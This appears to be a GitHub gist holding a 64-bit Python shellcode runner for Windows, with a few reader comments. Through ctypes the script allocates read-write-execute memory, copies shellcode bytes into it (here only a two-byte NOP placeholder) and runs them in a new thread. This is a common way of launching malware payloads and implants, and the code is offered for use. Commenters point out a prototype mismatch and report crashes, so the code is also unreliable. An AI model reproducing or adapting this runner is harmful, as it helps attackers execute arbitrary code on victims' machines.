64 bit Python3 compatible shellcode runner

shellcode_x64.py

# 64 bit compatible shellcode launcher
#
# The versions of this I've attempted to use appear to only work in 32bit Python (at least for 3.7-8).
# Hence why this was neede to solve a problem.
#
# based on work from:
#   http://www.debasish.in/2012/04/execute-shellcode-using-python.html
#   https://www.christophertruncer.com/shellcode-manipulation-and-injection-in-python-3/
#   https://stackoverflow.com/a/61258392
#
# stuck together by: @peewpw

import ctypes

scbytes = b'\x90\x90'

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t ) 
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) ) 

space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);

Why you prototype RtlCopyMemory and use RtlMoveMemory? Is it a typo?

thanks dude!

Its crashing everytime I try to use it

Getting this:

AttributeError: 'str' object has no attribute 'c_void_p'

Python 3.11